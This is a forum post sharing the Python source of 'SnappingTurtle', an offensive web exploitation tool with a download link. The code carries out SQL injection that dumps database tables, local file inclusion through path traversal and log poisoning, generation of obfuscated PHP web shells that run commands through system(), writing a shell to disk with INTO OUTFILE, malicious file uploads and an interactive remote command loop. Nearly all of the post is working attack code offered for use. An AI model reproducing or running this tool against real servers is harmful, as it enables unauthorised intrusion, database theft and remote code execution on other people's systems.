        whereTmpl = (" WHERE INFORMATION_SCHEMA.COLUMNS.TABLE_SCHEMA = '{0}' AND" + " INFORMATION_SCHEMA.COLUMNS.TABLE_NAME='{1}'")
        cols = (self.inject)(["COLUMN_NAME"], "INFORMATION_SCHEMA.COLUMNS", where = (whereTmpl.format)(schema, table))
        if (cols == None):
            (self.log)("[X] Could not query information schema\r\n")
            return None
        def var_func_00000018(x):
            return x[0]

        cols = (lambda var_00000017:select(var_func_00000018, var_00000017))(cols)
        def var_func_00000019(x):
            return (("[" + x) + "]")

        tup = (lambda var_00000018:join(", ", var_00000018))((lambda var_00000019:select(var_func_00000019, var_00000019))(cols))
        (self.log)(("\r\n[+] Columns found: %s\r\n" % tup))
        return cols

    def dumpTable(self, table, schema = None, columns = None):
        return (self.inject)((((self.listColumns)(schema, table)) if ((schema != None)) else (columns)), table)

    def sendRequest(self, injection):
        values = {"sqli": injection}
        return (Http.request)(((self.httpTemplate).getUrl)(values), ((self.httpTemplate).getPost)(values))

    def createInjection(self, begin, end, cols):
        def var_func_0000001A():
            return ((self.emitter).unionAll)(cols)

        return Injection(begin, end, var_func_0000001A)


class TraversalRange(ExploitComponent):
    def __init__(self, files, start, stop, dot = ".", separator = "/", terminator = ""):
        (self.files) = files
        (self.start) = start
        (self.stop) = stop
        (self.dot) = dot
        (self.separator) = separator
        (self.terminator) = terminator
        (self.file_index) = 0
        (self.i) = start

    def next(self):
        if ((self.i) < (self.stop)):
            i = (self.i)
            f = (self.file_index)
            (self.file_index) = ((self.file_index) + 1)
            if ((self.file_index) == len((self.files))):
                (self.file_index) = 0
                (self.i) = ((self.i) + 1)
            return (self.getTravSeq)(i, f)
        else:
            raise StopIteration

    def getTravSeq(self, len, file_index):
        p = (lambda var_0000001A:join((self.separator), var_0000001A))((self.files)[file_index])
        return ((((((self.dot) * 2) + (self.separator)) * len) + p) + (self.terminator))

    def __iter__(self):
        return self


class TraversalProbe(ExploitComponent):
    dirs = [["apache", "logs"], ["apache2", "logs"], ["etc", "httpd", "logs"], ["opt", "lampp", "logs"], ["usr", "local", "apache", "logs"], ["var", "log"], ["var", "log", "apache"], ["var", "log", "apache2"], ["var", "log", "httpd"], ["var", "www", "logs"], ["xampp", "apache", "logs"]]
    names = ["access.log", "access_log", "acces.log", "acces_log", "error.log", "error_log"]
    def __init__(self, searchValue, reqTmpl, dot = ".", separator = "/", terminator = "", min = 0, max = 8):
        (self.searchValue) = searchValue
        (self.reqTmpl) = reqTmpl
        (self.dot) = dot
        (self.separator) = separator
        (self.terminator) = terminator
        (self.min) = min
        (self.max) = max
        (self.files) = (self.createPaths)()

    def createPaths(self):
        def var_func_0000001B(x):
            def var_func_00000031(y):
                return (x + [y])

            return (lambda var_0000001B:select(var_func_00000031, var_0000001B))((self.names))

        return (lambda var_0000001C:selectMany(var_func_0000001B, var_0000001C))((self.dirs))

    def seqs(self):
        return TraversalRange((self.files), (self.min), (self.max), (self.dot), (self.separator), (self.terminator))

    def scan(self):
        for x in (self.seqs)():
            r = (self.testSeq)(x)
            if (r != None):
                return r

    def testSeq(self, seq):
        values = {"lfi": seq}
        url = ((self.reqTmpl).getUrl)(values)
        (self.log)(("[?] %s" % url))
        data = ((self.reqTmpl).getPost)(values)
        if (data != None):
            (self.log)(("    " + str(data)))
        resp = ((urllib2.urlopen)(url, data).read)()
        t = url, data
        return ((t) if ((resp.__contains__)((self.searchValue))) else (None))


from random import shuffle, randint
class PhpShellEmitter():
    stages = [[], [], [], []]
    emitter = None
    prefix = None
    suffix = None
    padMin = 10
    padMax = 32
    junkChars = (lambda var_0000001D:select(chr, var_0000001D))((lambda var_0000001E:where(var_func_0000001C, var_0000001E))((lambda var_0000001F:where(var_func_0000001D, var_0000001F))(range(33, 127))))
    def __init__(self):
        (self.emitter) = PhpEmitter()

    def stageDecl(self, stage, value):
        id, assign = ((self.emitter).declStmt)(value)
        ((self.stages)[stage].append)(assign)
        return id

    def varRef(self, stage, name):
        return (self.stageDecl)(stage, ("$" + (self.stageDecl)((stage - 1), ((self.emitter).string)(name, False))))

    def emit(self, command = None, pad = False):
        ((self.emitter).chr) = (self.stageDecl)(0, ((self.emitter).string)("chr", False, False))
        system = (self.stageDecl)(1, ((self.emitter).string)("system", False))
        if (command == None):
            input = (self.varRef)(2, "_GET")
            systemCallStmt = ((self.emitter).callStmt)(system, ((self.emitter).arrayAccess)(input, ((self.emitter).string)("cmd", False)))
        else:
            cmdStr = ((self.emitter).string)(command, False)
            systemCallStmt = ((self.emitter).callStmt)(system, cmdStr)
        ((self.stages)[3].append)(systemCallStmt)
        (lambda var_00000020:iter(shuffle, var_00000020))((lambda var_00000021:skip(1, var_00000021))((self.stages)))
        php = ""
        x = ((self.emitter).doc)(addAll(flatten((self.stages))))
        return ((x) if (not pad) else ((self.pad)(x)))

    def emitJunk(self):
        def var_func_0000001E(x):
            return choice((self.junkChars))

        return addAll((lambda var_00000022:select(var_func_0000001E, var_00000022))(range(0, randint((self.padMin), (self.padMax)))))

    def pad(self, value):
        (self.prefix) = (self.emitJunk)()
        (self.suffix) = (self.emitJunk)()
        return (((self.prefix) + value) + (self.suffix))


from random import choice, randint
class PhpEmitter():
    varNames = []
    chr = "chr"
    min = -2147483648
    max = 2147483647
    def doc(self, body):
        return ("<?php %s ?>" % body)

    def stmt(self, exp):
        return (exp + ";")

    def declStmt(self, value):
        n = (self.nextVar)()
        return n, (self.assignStmt)(n, value)

    def assignStmt(self, var, value):
        return (self.stmt)(("{}={}".format)(var, value))

    def arrayAccess(self, array, dim):
        return ("{}[{}]".format)(array, dim)

    def callStmt(self, target, args):
        return (self.stmt)((lambda var_00000023:(self.call)(target, var_00000023))(args))

    def call(self, target, args):
        return ("{}({})".format)(target, args)

    def string(self, string, allowPassthru = True, allowChars = True):
        funcs = [(self.splitString)]
        if allowChars:
            (funcs.append)((self.chars))
        return choice(funcs)(string)

    def echo(self, value):
        return (self.stmt)(("echo %s" % value))

    def splitString(self, string):
        l = len(string)
        if (l < 2):
            return (self.string)(string)
        i = randint(1, (l - 1))
        lhs = (self.string)(string[0:i])
        rhs = (self.string)(string[i:l])
        return ((lhs + ".") + rhs)

    def chars(self, str):
        return (lambda var_00000024:join(".", var_00000024))((lambda var_00000025:select((self.char), var_00000025))(str))

    def char(self, char):
        c = ord(char)
        n = choice([c, (self.widenByte)(c)])
        return ("{}({})".format)((self.chr), (self.number)(n))

    def number(self, number):
        return choice([(self.emit), (self.addition), (self.subtraction)])(number)

    def addition(self, number):
        def var_func_0000001F(x, y):
            return (x - y)

        return (self.binOp)(number, "+", var_func_0000001F)

    def subtraction(self, number):
        def var_func_00000020(x, y):
            return (x + y)

        return (self.binOp)(number, "-", var_func_00000020)

    def binOp(self, number, op, func):
        while True:
            x = (self.nextInt)()
            lhs = func(number, x)
            if ((self.validNum)(x) and (self.validNum)(lhs)):
                break
        rhs = (self.number)(x)
        fmt = (("({}{} {})") if ((op == str(rhs)[:1])) else ("({}{}{})"))
        return (fmt.format)(lhs, op, rhs)

    def emit(self, value):
        return value

    def nextInt(self):
        def var_func_00000021(x):
            return randint(((self.min) >> x), ((self.max) >> x))

        return choice((lambda var_00000026:select(var_func_00000021, var_00000026))([0, 8, 16, 32]))

    def nextVar(self):
        l = randint(1, 1)
        def var_func_00000022(x):
            return (self.getRandChar)()

        while True:
            v = ("$" + addAll((lambda var_00000027:select(var_func_00000022, var_00000027))(range(0, l))))
            if not ((self.varNames).__contains__)(v):
                ((self.varNames).append)(v)
                return v

    def quote(self, string):
        return ("\"%s\"" % (self.escape)(string))

    def getRandChar(self):
        return choice((self.getAllChars)())

    def getAllChars(self):
        return (((self.getChars)("a") + (self.getChars)("A")) + "_")

    def getChars(self, start):
        def var_func_00000023(x):
            return chr((ord(start) + x))

        return addAll((lambda var_00000028:select(var_func_00000023, var_00000028))(range(0, 26)))

    def escape(self, string):
        return ((string.replace)("\\", "\\\\").replace)("\"", "\\\"")

    def widenByte(self, number):
        mask = ((self.max) & ~255)
        while True:
            x = (((self.nextInt)() & mask) | number)
            if (self.validNum)(x):
                return x

    def validNum(self, number):
        return (((self.min) <= number) and (number <= (self.max)))


from urlparse import urlparse
class LogInjector(ExploitComponent):
    repo = JsonRepository("logShells.json")
    def __init__(self, reqTmpl, dot = ".", separator = "/", terminator = ""):
        (self.reqTmpl) = reqTmpl
        (self.dot) = dot
        (self.separator) = separator
        (self.terminator) = terminator
        (self.probe) = TraversalProbe("blank command", reqTmpl, dot, separator, terminator)
        (self.emitter) = PhpShellEmitter()
        (self.url) = (reqTmpl.url)

    def findShell(self):
        (self.log)("[i] Searching for shell")
        s = ((self.probe).scan)()
        if (s != None):
            (self.log)("[+] Shell found")
            if self.url in self.repo.repo:
                tags = ((self.repo).repo)[(self.url)]
                ((self.emitter).prefix) = tags[0]
                ((self.emitter).suffix) = tags[1]
            else:
                (self.log)("[-] Error: could not find shell prefix/suffix")
        else:
            (self.log)("[-] Shell not found")
        return s

    def sendShell(self):
        (self.log)("[i] Injecting shell")
        shell = ((self.emitter).emit)(pad = True)
        u = ((((self.reqTmpl).getUrl)({"lfi": shell})) if (((self.url).__contains__)("$lfi")) else ((((self.url) + "?") + shell)))
        ((self.repo).add)((self.url), [((self.emitter).prefix), ((self.emitter).suffix)])
        (self.log)(("    Url: " + u))
        (urllib2.urlopen)(u)

    def inject(self):
        shell = (self.findShell)()
        if (shell == None):
            (self.sendShell)()
            shell = (self.findShell)()
        return shell


import urllib
class LfiShell(ExploitComponent):
    shellInfo = None
    def __init__(self, reqTmpl, dot = ".", separator = "/", terminator = ""):
        (self.injector) = LogInjector(reqTmpl, dot, separator, terminator)

    def create(self):
        i = ((self.injector).inject)()
        if (i == None):
            (self.log)("[-] Could not exploit LFI")
            return False
        (self.shellInfo) = i
        return True

    def run(self, cmd):
        if ((self.shellInfo) == None):
            (self.log)("[!] No known shell")
            if not (self.create)():
                return None
            quit()
        u = (self.createCmdUrl)(cmd)
        (self.log)(("[?] %s" % u))
        _, d = (self.shellInfo)
        postData = d
        if (postData != None):
            (self.log)(("    " + str(postData)))
        resp = (self.parseResp)(((urllib2.urlopen)(u, postData).read)())
        return resp

    def parseResp(self, resp):
        def fan(v):
            def var_func_00000024(x):
                return [x, (x.upper)(), (x.lower)()]

            return distinct((lambda var_00000029:selectMany(var_func_00000024, var_00000029))([v, ((v.replace)("\\", "\\\\").replace)("\"", "\\\"")]))

        def split(v, t):
            for tag in fan(t):
                if (len(v) != 2):
                    v = (v[0].split)(tag)
                else:
                    break
            return v

        e = ((self.injector).emitter)
        if ((e.prefix) == None):
            return resp
        p = split([resp], (e.prefix))
        if (len(p) < 2):
            return resp
        return split([p[1]], (e.suffix))[0]

    def createCmdUrl(self, cmd):
        u, _ = (self.shellInfo)
        d = (urllib.urlencode)({"cmd": cmd})
        x = (("&") if ((u.__contains__)("?")) else ("?"))
        return ((u + x) + d)


class SqlEmitter():
    alpha = (CharRange.alpha)()
    def getChars(self):
        def var_func_00000025(___p_op_5):
            return (___p_op_5 != (self.quote)())

        return (lambda var_0000002A:select(chr, var_0000002A))((lambda var_0000002B:where(var_func_00000025, var_0000002B))(range(32, 128)))

    def tup(self, vals):
        def var_func_00000026(x, y):
            return (((x + ",") + (self.space)()) + y)

        return (lambda var_0000002C:aggr(var_func_00000026, var_0000002C))(vals)

    def words(self, words):
        def var_func_00000027(x, y):
            return ((x + (self.space)()) + y)

        return (lambda var_0000002D:aggr(var_func_00000027, var_0000002D))(words)

    def space(self):
        return " "

    def quote(self):
        return "'"

    def junkCharRange(self):
        def var_func_00000028(x):
            return choice((self.alpha))

        return (lambda var_0000002E:join("", var_0000002E))((lambda var_0000002F:select(var_func_00000028, var_0000002F))((lambda var_00000030:range(0, var_00000030))(randint(8, 32))))

    def junkString(self):
        return ("{1}{0}{1}".format)((self.junkCharRange)(), (self.quote)())

    def unionAll(self, cols):
        return (self.words)(["UNION", "SELECT", "ALL", (self.tup)(cols)])

    def comment(self):
        return "#"


import re
class SqlUnionInjector(ExploitComponent):
    def __init__(self, options, columns, dump_column, target_columns, target_table, delimiter = "'", delim = "'", row_start = "--start--", row_end = "--end--", where = None, terminator = "#"):
        (self.options) = options
        (self.columns) = columns
        (self.dump_column) = dump_column
        (self.target_columns) = target_columns
        (self.target_table) = target_table
        (self.delimiter) = delimiter
        (self.delim) = delim
        (self.row_start) = row_start
        (self.row_end) = row_end
        (self.where) = where
        (self.terminator) = terminator
        (self.host) = options["HOST"]
        (self.port) = options["PORT"]
        (self.dump) = ("Dump {}".format)(target_table)
        (self.shell) = None
        (self.payload) = None
        options["PAYLOAD"] = dict(options = [(self.dump), (self.shell)], selected = (self.dump))

    def set_payload(self, payload):
        def var_func_00000029():
            (self.payload) = payload

        return var_func_00000029

    def is_dump(self):
        return ((self.payload) == (self.dump))

    def str(self):
        s = ""
        if (self.delimiter):
            s += (self.delimiter)
        s += "UNION SELECT "
        if (self.delim):
            empty = ((self.delim) * 2)
            delim = (self.delim)
        else:
            empty = "0"
            delim = "'"
        if (self.is_dump)():
            s += (self.union)(empty, delim)
            if ((self.where) != None):
                s += (" " + (self.where))
        else:
            s += (self.shell)(empty, delim)
        s += (self.terminator)
        return s

    def union(self, empty, delim):
        s = ((empty + ",") * (self.dump_column))
        s += ("CONCAT_WS({0}stdelim{0},{0}{1}{0},".format)(delim, (self.row_start))
        def var_func_0000002A(x):
            return ("IFNULL(%s,'')" % x)

        s += (",".join)((lambda var_00000031:select(var_func_0000002A, var_00000031))((self.target_columns)))
        s += (",{0}{1}{0})".format)(delim, (self.row_end))
        s += (("," + empty) * (((self.columns) - (self.dump_column)) - 1))
        s += (" FROM {}".format)((self.target_table))
        return s

    def shell(self, empty, delim):
        shell_delim = (("\"") if ((delim == "'")) else ("'"))
        shell = ("{0}<?php system($_GET[{1}cmd{1}]); ?>{0}".format)(delim, shell_delim)
        col_seq = (shell + (("," + empty) * ((self.columns) - 1)))
        directory = "htdocs/"
        traverse = ("../" * 2)
        shell_file = "shell.php"
        s = ("{0} FROM dual INTO OUTFILE {1}{2}{3}{4}{1}{5}".format)(col_seq, delim, traverse, directory, shell_file, (self.terminator))
        return s

    def finalize(self, resp):
        def var_func_0000002B(___p_op_6):
            return (___p_op_6.split("stdelim"))

        if (self.is_dump)():
            pattern = ("{}stdelim(.*?)stdelim{}".format)((self.row_start), (self.row_end))
            matches = (re.findall)(pattern, resp)
            return (lambda var_00000032:select(var_func_0000002B, var_00000032))(matches)
        else:
            u = ("http://{}:{}/shell.php".format)((self.host), (self.port))
            s = ("GET {}\r\n".format)(u)
            code = ((urllib2.urlopen)(u).getcode)()
            if (code == 200):
                s += ("Shell found at {}".format)(u)
            else:
                s += "Shell not found, exploit failed"
            return s


import sys
from ast import literal_eval
class CliArgs():
    Mode = None
    ModeOption = None
    ModeOption2 = None
    Get = None
    Post = None
    File = None


class ParserState():
    Class = 0
    Url = 1
    Option = 2
    OptionValue = 3
    OptionValue2 = 4
    ModeOption = 5
    ModeOption2 = 6
    Filename = 7
    FileData = 8


class ArgOption():
    GetPair = "-g"
    PostPair = "-p"
    Get = "--g"
    Post = "--p"
    File = "-f"


class ClassOption():
    Lfi = "lfi"
    Sqli = "sqli"
    Xss = "xss"
    Shell = "shell"
    Upload = "upload"


class SqliOption():
    List = "list"
    Table = "table"


def parseArgs():
    i = 0
    key = None
    key2 = None
    key3 = None
    state = (ParserState.Class)
    obj = CliArgs()
    args = (lambda var_00000033:skip(1, var_00000033))((sys.argv))
    for x in args:
        _cwSwitchValue_0000 = state
        if (_cwSwitchValue_0000 == (ParserState.Class)):
            (obj.Mode) = x
            _cwSwitchValue_0001 = x
            if ((_cwSwitchValue_0001 == (ClassOption.Sqli)) or (_cwSwitchValue_0001 == (ClassOption.Xss))):
                state = (ParserState.ModeOption)
            else:
                state = (ParserState.Url)
        else:
            if (_cwSwitchValue_0000 == (ParserState.ModeOption)):
                (obj.ModeOption) = x
                if (((obj.Mode) == (ClassOption.Sqli)) and ((obj.ModeOption) == (SqliOption.Table))):
                    state = (ParserState.ModeOption2)
                else:
                    state = (ParserState.Url)
            else:
                if (_cwSwitchValue_0000 == (ParserState.ModeOption2)):
                    (obj.ModeOption2) = x
                    state = (ParserState.Url)
                else:
                    if (_cwSwitchValue_0000 == (ParserState.Url)):
                        (obj.Url) = x
                        state = (ParserState.Option)
                    else:
                        if (_cwSwitchValue_0000 == (ParserState.Option)):
                            key = x
                            state = (ParserState.OptionValue)
                        else:
                            if (_cwSwitchValue_0000 == (ParserState.OptionValue)):
                                _cwSwitchValue_0002 = key
                                if (_cwSwitchValue_0002 == (ArgOption.Get)):
                                    (obj.Get) = literal_eval(x)
                                    state = (ParserState.Option)
                                else:
                                    if (_cwSwitchValue_0002 == (ArgOption.Post)):
                                        (obj.Post) = literal_eval(x)
                                        state = (ParserState.Option)
                                    else:
                                        if ((_cwSwitchValue_0002 == (ArgOption.GetPair)) or (_cwSwitchValue_0002 == (ArgOption.PostPair))):
                                            key2 = x
                                            state = (ParserState.OptionValue2)
                                        else:
                                            if (_cwSwitchValue_0002 == (ArgOption.File)):
                                                key2 = x
                                                state = (ParserState.Filename)
                            else:
                                if (_cwSwitchValue_0000 == (ParserState.OptionValue2)):
                                    d = None
                                    _cwSwitchValue_0003 = key
                                    if (_cwSwitchValue_0003 == (ArgOption.GetPair)):
                                        if ((obj.Get) == None):
                                            (obj.Get) = dict()
                                        d = (obj.Get)
                                    else:
                                        if (_cwSwitchValue_0003 == (ArgOption.PostPair)):
                                            if ((obj.Post) == None):
                                                (obj.Post) = dict()
                                            d = (obj.Post)
                                    d[key2] = x
                                    state = (ParserState.Option)
                                else:
                                    if (_cwSwitchValue_0000 == (ParserState.Filename)):
                                        key3 = x
                                        state = (ParserState.FileData)
                                    else:
                                        if (_cwSwitchValue_0000 == (ParserState.FileData)):
                                            if ((obj.File) == None):
                                                (obj.File) = []
                                            ((obj.File).append)(HttpFile(key2, key3, x))
                                            state = (ParserState.Option)
                                        else:
                                            print(("Error parsing argument: %s" % x))
                                            quit()
        i = (i + 1)
    return obj

hasArgs = var_func_0000002C(len((sys.argv)))
args = parseArgs()
import json
class ShellCommand():
    Quit = "quit"


def shellLoop(shell):
    while True:
        cmd = raw_input("st>")
        _cwSwitchValue_0004 = cmd
        if (_cwSwitchValue_0004 == (ShellCommand.Quit)):
            print("Exiting")
            quit()
        else:
            print((shell.run)(cmd))

def listTables(tmpl):
    probe = SqlUnionProbe(tmpl)
    di = (probe.listSchemas)()
    if (di == None):
        print("[X] List tables failed\r\n")
        return None
    keys = (di.keys)()
    print(("[+] %s databases found\r\n" % len(keys)))
    for key in keys:
        print(("    " + key))
        for table in di[key]:
            print(("      " + table))
        print("")

def printTable(columns, rows):
    def var_func_0000002D(x):
        return ""

    rows = (([columns] + [(lambda var_00000034:select(var_func_0000002D, var_00000034))(columns)]) + rows)
    def var_func_0000002E(x):
        return (sorted(x, reverse = True)[0] + 1)

    def var_func_0000002F(x):
        def var_func_00000032(y):
            return ((len(y[x])) if ((x < len(y))) else (0))

        return (lambda var_00000035:select(var_func_00000032, var_00000035))(rows)

    colLens = (lambda var_00000036:select(var_func_0000002E, var_00000036))((lambda var_00000037:select(var_func_0000002F, var_00000037))(range(0, len(columns))))
    for row in rows:
        i = 0
        for col in row:
            maxLen = colLens[i]
            pad = (maxLen - len(col))
            ((sys.stdout).write)((col + (" " * (pad + 1))))
            i = (i + 1)
        ((sys.stdout).write)("\r\n")
    ((sys.stdout).write)("\r\n")

print(("SnappingTurtle Web Exploitation Tool 0.1." + "0324.1445"))
print("http://autosectools.com/SnappingTurtle\r\n")
if hasArgs:
    shell = None
    tmpl = HttpRequestTemplate((args.Url), (args.Get), (args.Post), (args.File))
    _cwSwitchValue_0005 = (args.Mode)
    if (_cwSwitchValue_0005 == (ClassOption.Lfi)):
        print("[i] Exploiting local file inclusion")
        shell = LfiShell(tmpl)
        if not (shell.create)():
            print("[X] Failed to create shell, exiting\r\n")
            quit()
    else:
        if (_cwSwitchValue_0005 == (ClassOption.Sqli)):
            print("[i] Exploiting SQL injection")
            _cwSwitchValue_0006 = (args.ModeOption)
            if (_cwSwitchValue_0006 == (SqliOption.List)):
                print("[?] Listing databases and tables")
                listTables(tmpl)
            else:
                if (_cwSwitchValue_0006 == (SqliOption.Table)):
                    p = ((args.ModeOption2).split)(".")
                    schema = p[0]
                    table = p[1]
                    print(("[?] Dumping table '{}' of database '{}'".format)(table, schema))
                    probe = SqlUnionProbe(tmpl)
                    columns = (probe.listColumns)(schema, table)
                    if (columns == None):
                        print("[X] Could not enumerate columns\r\n")
                        quit()
                    rows = (probe.dumpTable)(table, columns = columns)
                    if (rows != None):
                        print("\r\n[+] Table dumped:\r\n")
                        printTable(columns, rows)
                    else:
                        print("[X] Could not dump table\r\n")
                        quit()
                else:
                    print("[X] Invalid SQL injection option\r\n")
                    quit()
            quit()
        else:
            if (_cwSwitchValue_0005 == (ClassOption.Xss)):
                print("[i] Starting XSS server\r\n")
                ip = (args.ModeOption)
                server = ExploitServer(ip)
                xss = (server.createExploit)(tmpl)
                print(("[+] XSS URL:\r\n\r\n    %s\r\n" % xss))
                (server.serveForever)()
            else:
                if (_cwSwitchValue_0005 == (ClassOption.Upload)):
                    php = (PhpShellEmitter().emit)()
                    values = {"php": php}
                    file = (tmpl.getFile)(values)
                    if ((file == None) or (len(file) == 0)):
                        print("[X] No file specified to upload, exiting.")
                        quit()
                    tup = (lambda var_00000038:join(", ", var_00000038))((lambda var_00000039:select(var_func_00000030, var_00000039))(file))
                    print(("[i] Uploading: %s\r\n" % tup))
                    resp = (Http.request)((tmpl.getUrl)(values), (tmpl.getPost)(values), file)
                    print(("\r\n[+] Response:\r\n\r\n%s\r\n" % resp))
                    quit()
                else:
                    if (_cwSwitchValue_0005 == (ClassOption.Shell)):
                        print(("[i] Connecting to shell: %s" % (args.Url)))
                        shell = (Shell.open)((args.Url))
                        if (shell == None):
                            print("[X] Failed to open shell, exiting.")
                            quit()
                    else:
                        print(("[X] Invalid strategy: %s\r\n" % (args.Mode)))
                        quit()
    shellLoop(shell)
else:
    print("python st.py [exploitation strategy] [url] [inputs]\r\n")
    print("# Exploitation Strategies\r\n")
    print("  lfi                Local file inclusion. Injection is performed using the $lfi token.")
    print("")
    print("  sqli {options}     SQL injection. Injection is performed using the $sqli token.")
    print("")
    print("    If used, one of two options must be specified:")
    print("")
    print("    list             Dumps a list of databases and tables.")
    print("    table {name}     Dumps a database table.")
    print("")
    print("  xss {server ip}    Cross-site scripting. Injection is performed using the $xss token.")
    print("")
    print("    If used, a target accessible server IP must be specified for listening.")
    print("")
    print("  upload             Arbitrary upload. Write data to the server using the -f option.")
    print("")
    print("    If used, at least one file must be specified using the -f option.")
    print("    Built-in shells can be injected using the $php token.")
    print("")
    print("  shell {shell url}  Connects to a previously created shell.")
    print("")
    print("# Url\r\n")
    print("  The url to exploit. Can be injected into using tokens.\r\n")
    print("# Inputs\r\n")
    print("  -g {GET name} {GET value}          GET data in key/value format.")
    print("  -p {POST name} {POST value}        POST data in key/value format.")
    print("  --g {GET data}                     GET data in Python map format.")
    print("  --p {POST data}                    POST data in Python map format.")
    print("  -f {name} {filename} {file data}   POST data as a file.")
    print("")
    print("# Examples\r\n")
    print("  python st.py lfi http://localhost/lfiTest.php?theme=$lfi\r\n")
    print("  python st.py lfi http://localhost/lfiTest.php -g theme $lfi\r\n")
    print("  python st.py lfi http://localhost/lfiTest.php?theme=$lfi%00\r\n")
    print("  python st.py lfi http://localhost/postTest.php --p \"{'theme':'$lfi'}\"\r\n")
    print("  python st.py sqli list http://localhost/sqliTest.php -g email $sqli\r\n")
    print("  python st.py sqli table sqlitest.users http://localhost/sqliTest.php -g email $sqli\r\n")
    print("  python st.py xss 10.0.0.122 http://10.0.0.145/xss.php -g search $xss\r\n")
    print("  python st.py upload http://10.0.0.145/upload.php -f file shell.php $php\r\n")
    print("  python st.py shell http://10.0.0.145/shell.php\r\n")

Download SnappingTurtle_0.1.0324.1445.zip (16.3 KB)

Edited by Fi8sVrs
  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...